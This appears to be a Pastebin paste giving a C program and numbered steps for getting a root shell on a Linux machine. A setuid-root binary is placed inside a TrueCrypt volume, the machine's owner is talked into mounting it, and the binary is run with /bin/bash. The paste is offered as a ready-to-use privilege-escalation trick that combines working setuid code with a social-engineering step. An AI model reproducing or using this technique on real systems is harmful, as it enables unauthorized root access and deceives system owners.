Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #if 0
- How to gain root access to a linux system using TrueCrypt mount "loophole"
- 1. compile the C program and named it "owned".
- 2. create a truecrypt volume using ext4 file system,any file system that supports the suid bit should suffice.
- 3. add the binary in the truecrypt volume.
- 4. set the binary to have 4755 permissions with owner as root:root.
- 5. take the volume to a computer you want root access,and ask the owner to mount the volume for you.
- 6. open the terminal and change directory to the mount point and then run "./owned /bin/bash" and you will now have root shell.
- 7. ...
- 8. profit!!!
- #endif
- #include <unistd.h>
- int main( int argc,char * argv[] )
- {
- if( argc < 2 ){
- return 1 ;
- }else{
- const char * e = *( argv + 1 ) ;
- setuid( 0 ) ;
- seteuid( 0 ) ;
- if( execl( e,NULL ) == -1 ){
- perror( "failed: " ) ;
- return 1 ;
- }else{
- return 0 ;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment